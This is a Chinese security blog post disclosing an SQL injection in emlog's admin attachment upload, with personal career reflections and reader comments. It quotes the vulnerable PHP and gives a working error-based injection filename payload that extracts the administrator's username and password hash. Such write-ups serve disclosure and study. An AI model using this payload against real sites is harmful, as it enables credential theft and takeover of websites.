emlog后台作者权限SQL注入

    实话说,以后不想再挖web漏洞了,也不想发这类文章,web的东西搞来搞起就是那个样,我原本就不想深入,想那些大神一样能把一个cms分析得透彻。我有时候只是泛泛地看,泛泛地找一些简单的漏洞,深入又得花不少时间,而且做出的东西也不一定尽如人意。前段时间总有种刷分刷钱的想法,结果后来都是化为泡影,估计也是因为自己对待漏洞的态度不正确,有时候也是受到他人的影响。

    前几天某人问到我的一个学长,我才知道有些人虽然不常在网络上出现但实际上真正有实力的人完全不需要混脸熟。曾经我没接触web的时候多么向往去成为一个能写木马的人,也曾经确确实实分析过一段时间的gh0st,写过一些C++程序。

    这几天有个朋友在我博客留言问我为什么gh0st的文章不继续写了,我无言以对。自己这么久执迷于python和php,似乎完全忘记自己的初衷。半年前我曾经抱怨自己,学了很多东西但实际上有关安全的知识自己知道的并不多,诸如逆向、免杀、漏洞分析。半年后的我虽然真正去研究起安全(不敢说精通web安全但也对各种web漏洞十分熟悉),但真的像自己想的那样,能成为一个了不起的安全研究者吗。

    可能自己的路走偏了,web不是我的方向,我只是为了让自己更快更简单地成为一个所谓的“黑客”才去选择web安全。

    我希望自己能在二进制代码与程序的路上,做一名安全研究者,虽然要比web上难走许多。在此之前,我把自己这几天写过的文章发在我博客,以后不想继续了。可能在听到别人说到xxcms注入或getshell的时候还是会心动,但坚持自己的本心,我相信理想一定会实现。


    后台上传附件处,代码在/admin/attachment.php:

//上传附件
if ($action == 'upload') {
	$logid = isset($_GET['logid']) ? intval($_GET['logid']) : '';
	$attach = isset($_FILES['attach']) ? $_FILES['attach'] : '';
	if ($attach) {
		for ($i = 0; $i < count($attach['name']); $i++) {
			if ($attach['error'][$i] != 4) {
				$isthumbnail = Option::get('isthumbnail') == 'y' ? true : false;
				$file_info = uploadFile($attach['name'][$i], $attach['error'][$i], $attach['tmp_name'][$i], $attach['size'][$i], Option::getAttType(), false, $isthumbnail);
				// 写入附件信息
				$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s', 0)";
				$query = sprintf($query, $logid, $file_info['file_name'], $file_info['size'], $file_info['file_path'], time(), $file_info['width'], $file_info['height'], $file_info['mime_type']);
				$DB->query($query);
				$aid = $DB->insert_id();
				$DB->query("UPDATE " . DB_PREFIX . "blog SET attnum=attnum+1 WHERE gid=$logid");
				// 写入缩略图信息
				if (isset($file_info['thum_file'])) {
					$query = "INSERT INTO " . DB_PREFIX . "attachment (blogid, filename, filesize, filepath, addtime, width, height, mimetype, thumfor) VALUES ('%s','%s','%s','%s','%s','%s','%s','%s','%s')";
					$query = sprintf($query, $logid, $file_info['file_name'], $file_info['thum_size'], $file_info['thum_file'], time(), $file_info['thum_width'], $file_info['thum_height'], $file_info['mime_type'], $aid);
					$DB->query($query);		
				}
			}
		}
	}
	emDirect("attachment.php?action=attlib&logid=$logid");
}
    接受来的$_FILE变量,直接赋值给$attach 参数。其后调用uploadFile函数上传文件,将上传后的信息赋值给$file_info,而$file_info[‘file_name’]是直接赋值的$attach['name'][$i]。最后将$file_info带入查询,造成了注入。

    下面是演示。当你拥有后台作者权限后,登录后台发表文章处,上传一个图片,中途抓包:

    01.jpg

    如图,将filename修改成:
    info',(select 1 from  (select count(*),concat((select concat(username, 0x23, password) from emlog_user limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)p),'','','0','0','', 0)#.jpg
    一个显错注入。发包以后查看回复包:

    02.jpg

    如图,可以得到管理员密码的hash。图中显示的不全是因为显错注入显示的长度有限,可以使用mysql的substring函数截取一部分显示,分两次注入完毕。
    需要后台登录,虽然比较鸡肋,但某些emlog用户使用了自助注册等插件导致任何人可以注册成为作者,并轻易获取管理员权限。


赞赏

喜欢这篇文章?打赏1元

评论

音货得福 回复

作为一个小白,先以您为榜样,好好学习

博客互推联盟 回复

看到博主分享这么多内容,特别想把这些内容让更多博友看到,如果博主能够经常跟其他博友互动,希望博主能够加入到“博客互推联盟”,这里有很多很勤奋的博友,和您一样,每天在坚持为大家分享好的内容。
在这个互联网快速变革的时代,我们还在坚持,但我们不想孤军奋战,让更多博友看到你,让我们彼此多一点交流,一起发展。

hehe 回复

lz 别闹了 你去发展Bin 呵呵未来都是云趋势 B/S 架构
除非你能挖浏览器漏洞 那么一切都是浮云
有多少人重视客户端漏洞呢
你问问袁哥 国内有多少能挖内核级漏洞的 多少企业愿意买单
想一套做一套永远都得不到

phithon 回复

@hehe:你误会了,我想我更喜欢做开发
漏洞挖掘的话只是开发的辅助
做底层的开发,我还是想多了解一些漏洞、免杀相关的东西
不是为了挖漏洞而学bin

hehe 回复

@phithon:将来客户端全部转移云平台处理
比如现在不用播放器用迅雷云了
比如 Chrome OS
那你的开发又是什么呢
本地端溢出了又如何呢
我只是想说这是一条没有结束又即将结束的旅程
放下一切寻找新世界的旅行 如同亚历山大大帝与海
不过是地球上在不起眼的点 渺小而且无力

phithon 回复

@hehe:我想的话,当然安全类的软件也会向云的方向发展
这个我暂时不敢预测
我不是说自己做底层就是底层到溢出或汇编什么的,只是大概到C语言这一层吧
然后我还想做一些安全类的应用软件,也是为了渗透服务
一些木马、僵尸网络也许也会向云的方向发展。自己了解的也不多。
你说的挺好的,我希望我的方向也要和网络有关,不可能抛弃网络仅仅去做一个播放器或word的溢出什么的。

匿名 回复

@phithon 现在p神正在做自己真正想做的哦

captcha